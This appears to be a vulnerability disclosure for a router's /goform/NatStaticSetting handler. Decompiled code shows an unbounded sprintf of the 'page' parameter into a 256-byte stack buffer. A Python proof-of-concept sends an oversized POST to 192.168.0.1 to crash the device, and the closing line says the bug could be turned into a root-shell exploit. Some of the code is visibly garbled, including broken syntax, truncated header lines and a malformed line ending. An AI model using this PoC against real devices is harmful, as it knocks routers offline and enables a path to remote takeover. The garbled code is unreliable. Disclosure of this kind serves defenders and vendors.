



Vulnerability details

```
char_t *en; // [sp+18h] [+18h]
const char *page; // [sp+20h] [+20h]
const char *op; // [sp+24h] [+24h]
char_t gotopage[256]; // [sp+28h] [+28h] BYREF

str = websGetVar(wp, "entrys", byte_510818);
op = websGetVar(wp, "op", "no");
save_list_data("adv.snat", str, 126);
page = websGetVar(wp. "page", "1"):
sprintf(gotopage, "nat_static.asp?page=%s", page);// vuln overflow
if (strncmp(op, "add", 3u) && strncmp(op, "edit", 4u))

{
en = websGetVar(wp, "isoncheck", "0");
SetValue("adv.snat.en", en);
}
if (CommitCfm())
PostMsgToNetctrl(34);
websRedirect(wp, gotopage);
```

/goform/NatStaticSetting, It can be seen that the page is controlled by the user, and will be spliced into the gotopage with sprintf. It is worth noting that there is no size limit to cause stack overflow.

Poc

```
import socket
import os
```

```
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
11 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF INET, socket.SOCK STREAM)
r.connect((ip, port))
rn = b' r'
p1 = b'a' * 0x300
p2 = b'page=' + p1
p3 = b"POST /goform/NatStaticSetting" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + r
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
```

You can see the router crash, and finally we can write an exp to get a root shell